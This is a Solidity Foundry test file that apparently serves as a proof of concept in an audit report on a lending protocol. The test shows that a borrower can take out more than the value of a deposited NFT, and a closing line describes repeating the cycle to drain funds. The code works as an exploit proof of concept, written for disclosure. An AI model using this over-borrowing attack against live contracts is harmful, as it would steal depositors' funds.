pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../contracts/core/tokens/DebtToken.sol";
import {DEToken} from "../contracts/core/tokens/DEToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import {IStabilityPool} from "../contracts/interfaces/core/pools/StabilityPool/IStabilityPool.sol";
import {RAACMinter} from "../contracts/core/minters/RAACMinter/RAACMinter.sol";
import {crvUSDToken} from "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RAACHousePricesMock {
mapping(uint256 => uint256) public prices;
function getLatestPrice(uint256 tokenId) external view returns (uint256, uint256) {
return (prices[tokenId], block.timestamp);
}
function setTokenPrice(uint256 tokenId, uint256 price) external {
prices[tokenId] = price;
}
function tokenToHousePrice(uint256 tokenId) external view returns (uint256) {
return prices[tokenId];
}
}
contract LendingPoolTest is Test {
using WadRayMath for uint256;
RToken rtoken;
DebtToken debtToken;
RAACToken raacToken;
DEToken deToken;
RAACNFT raacNft;
RAACMinter raacMinter;
crvUSDToken asset;
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePricesMock housePrice;
address depositor = makeAddr("depositor");
address borrower = makeAddr("borrower");
uint256 initialBurnTaxRate = 50;
uint256 initialSwapTaxRate = 100;
uint256 initialPrimeRate = 0.1e27;
function setUp() external {
vm.warp(1e9);
asset = new crvUSDToken(address(this));
housePrice = new RAACHousePricesMock();
debtToken = new DebtToken("DebtToken", "DTK", address(this));
rtoken = new RToken("RToken", "RTK", address(this), address(asset));
raacNft = new RAACNFT(address(asset), address(housePrice), address(this));
lendingPool = new LendingPool(
address(asset), address(rtoken), address(debtToken), address(raacNft), address(housePrice), 0.1e27
);
rtoken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken = new DEToken("DEToken", "DET", address(this), address(rtoken));
raacToken = new RAACToken(address(this), initialSwapTaxRate, initialBurnTaxRate);
raacToken.setMinter(address(this));
stabilityPool = new StabilityPool(address(this));
stabilityPool.initialize(
address(rtoken), address(deToken), address(raacToken), address(this), address(asset), address(lendingPool)
);
lendingPool.setStabilityPool(address(stabilityPool));
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(this));
stabilityPool.setRAACMinter(address(raacMinter));
deToken.setStabilityPool(address(stabilityPool));
}
function testOverBorrow() external {
_deposit(depositor, 20000e18);
_mintNFT(borrower, 1, 10000e18);
_depositNFT(borrower, 1);
uint256 borrowerBalanceBefore = asset.balanceOf(borrower);
_borrow(borrower, 12500e18);
assertEq(asset.balanceOf(borrower) - borrowerBalanceBefore, 12500e18);
}
function _deposit(address account, uint256 amount) internal {
deal(address(asset), account, amount);
vm.startPrank(account);
asset.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
vm.stopPrank();
}
function _mintNFT(address account, uint256 tokenId, uint256 price) internal {
housePrice.setTokenPrice(tokenId, price);
deal(address(asset), account, price);
vm.startPrank(account);
asset.approve(address(raacNft), price);
raacNft.mint(tokenId, price);
vm.stopPrank();
assertEq(raacNft.ownerOf(tokenId), account);
}
function _depositNFT(address account, uint256 tokenId) internal {
vm.startPrank(account);
raacNft.approve(address(lendingPool), tokenId);
lendingPool.depositNFT(tokenId);
vm.stopPrank();
assertEq(raacNft.ownerOf(tokenId), address(lendingPool));
}
function _borrow(address account, uint256 amount) internal {
uint256 beforeBalance = asset.balanceOf(account);
vm.startPrank(account);
lendingPool.borrow(amount);
vm.stopPrank();
uint256 afterBalance = asset.balanceOf(account);
assertEq(afterBalance - beforeBalance, amount);
}
}
Since depositing NFT and borrowing is profitable, attackers can repeat minting NFT -> depositing NFT -> borrow process for multiple times to gain profits. This will lead to protocol's fund loss.